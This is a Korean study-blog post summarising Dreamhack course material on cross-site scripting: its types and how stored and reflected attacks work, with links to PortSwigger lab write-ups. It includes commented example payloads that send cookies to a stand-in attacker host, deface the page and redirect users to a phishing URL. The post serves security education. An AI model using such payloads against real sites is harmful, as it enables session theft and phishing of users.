web study

[Dreamhack] XSS

oose. 2023. 10. 6. 16:47

1) 개념

Cross Site Scripting = XSS = 클라이언트 사이드 취약점 중 하나로 공격에 성공하면 웹 리소스에 악성 스크립트를 심어 이용자의 웹 브라우저에서 해당 스크립트를 실행한다. 주로 세션 및 쿠키 탈취, 이용자의 계정(ex. 관리자 계정)으로 임의의 기능을 수행함.

 

2) 종류

- Stored XSS : 악성 코드가 서버에 저장, 서버의 응답에 담겨서 온다.

- Reflected XSS : 악성 코드가 url에 삽입, 서버의 응답에 담겨서 온다.

-DOM-based XSS : 악성 코드가 url fragment에 삽입, 이때 fragment는 서버의 요청이나 응답에 포함되지 않음.

-Universal XSS : 클라이언트의 브라우저, 브라우저의 플러그인에서 발생, SOP 정책을 우회함.

 

3) 자바스크립트

XSS 공격에 많이 사용된다. 주로 <script> 태그를 이용함.

 

 

 드림핵 이용 예시 (XSS 스크립트 이용)

 

(1) 쿠키 및 세션 탈취 공격 코드

<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>

 

(2) 페이지 변조 공격 코드

<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>

 

(3) 위치 이동 공격 코드

<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

 

4) Stored XSS

-> 서버에 저장되어 해당 스크립트를 조회할 때 발생함. 주로 게시판이나 댓글에 악성 코드를 업로드하는 방식. 불특정 다수에게 보여지기 때문에 파급력이 높다.  

이용 예시 >>https://y079.tistory.com/91

 

[PortSwigger] Lab: Stored XSS into HTML context with nothing encoded

이 실습에는 댓글 기능에 저장된 교차 사이트 스크립팅 취약점이 포함되어 있습니다. 이 실습을 해결하려면 블로그 게시물을 볼 때 알림 기능을 호출하는 댓글을 제출하세요. 이전 문제랑 걍 똑

y079.tistory.com

 

 

5) Reflected XSS

-> 악성 코드가 담긴 요청을 출력할 때 발생. 주로 게시물을 조회할 때, 검색창에서 공격이 이뤄짐. 이는 Stored XSS와는 다르게 이용자의 요청에 의해 발생하기 때문에 이용자가 악성 코드가 포함된 링크에 접속하도록 유도해야 함. -> 유도할 때는 click jacking이나 open redirect 등을 이용

이용 예시 >> https://y079.tistory.com/90

 

[PortSwigger] Lab: Reflected XSS into HTML context with nothing encoded

이 랩에는 검색 기능에 반영된 간단한 교차 사이트 스크립팅 취약점이 포함되어 있습니다. 랩의 문제를 해결하려면 경고 기능을 호출하는 크로스 사이트 스크립팅 공격을 수행하세요. 그냥 알

y079.tistory.com